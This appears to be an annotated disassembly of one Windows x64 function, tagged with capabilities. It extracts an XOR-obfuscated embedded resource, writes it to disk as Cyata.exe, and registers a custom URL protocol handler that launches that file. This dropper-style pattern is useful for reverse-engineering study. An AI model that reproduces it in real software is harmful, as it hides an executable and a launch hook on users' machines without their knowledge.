Function at 0x140001070
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x590], rax
lea r8, str.BINARY
xor ecx, ecx
lea rdx, str.Redirector
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14000136c
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14000136c
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea r9, [rsp + 0x68]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400193c0]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x14000136c
mov rdx, qword [rsp + 0x68]
lea r8, str.Cyata_bin
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
je 0x14000136c
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectory]
lea rdx, str.Cyata.exe
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea r8, [0x140021734]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.14000594c
test eax, eax
jne 0x14000136c
mov ecx, edi
mov esi, edi
call fcn.1400085bc
xor r14d, r14d
mov r10, rax
mov r8d, r14d
test edi, edi
je 0x140001234
cmp edi, 0x40
jb 0x140001208
lea ecx, [rdi - 1]
movsxd rdx, ecx
add rax, rdx
lea rcx, [rdx + rbx]
cmp r10, rcx
ja 0x1400011a9
cmp rax, rbx
jae 0x140001208
mov ecx, edi
and ecx, 0xffffffc0
movdqa xmm2, xmmword [0x140021860]
mov r9, rbx
sub r9, r10
mov rdx, r14
nop
movdqu xmm1, xmmword [rdx + rbx + 0x20]
lea rax, [rdx + r10]
add r8d, 0x40
lea rdx, [rdx + 0x40]
xorps xmm1, xmm2
movdqu xmm0, xmmword [r9 + rax]
xorps xmm0, xmm2
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rdx + rbx - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rdx + rbx - 0x10]
movdqu xmmword [rax + 0x20], xmm1
xorps xmm0, xmm2
movdqu xmmword [rax + 0x30], xmm0
cmp r8d, ecx
jb 0x1400011c0
cmp r8d, edi
jae 0x140001234
movsxd rax, r8d
sub rbx, r10
add rax, r10
sub edi, r8d
mov r8d, edi
nop dword [rax]
movzx ecx, byte [rbx + rax]
lea rax, [rax + 1]
xor cl, 0xee
mov byte [rax - 1], cl
sub r8, 1
jne 0x140001220
mov r9, qword [rsp + 0x60]
mov r8d, 1
mov rdx, rsi
mov rcx, r10
call fcn.140005f38
mov rcx, qword [rsp + 0x60]
call fcn.140005b30
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareClassesCyataRedirection
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000136c
mov rcx, qword [rsp + 0x50]
lea rax, [0x140021784]
mov dword [rsp + 0x28], 1
lea r8, str.URL_Protocol
mov r9d, 1
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x140001366
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, str.shellopencommand
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001361
lea r9, [rsp + 0x70]
mov edx, 0x204
lea r8, str.__s_____l_
lea rcx, [rbp + 0x180]
call fcn.140001010
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x180]
xor edx, edx
inc eax
mov dword [rsp + 0x20], eax
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x58]
test eax, eax
je 0x14000139d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.140001400
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x140001371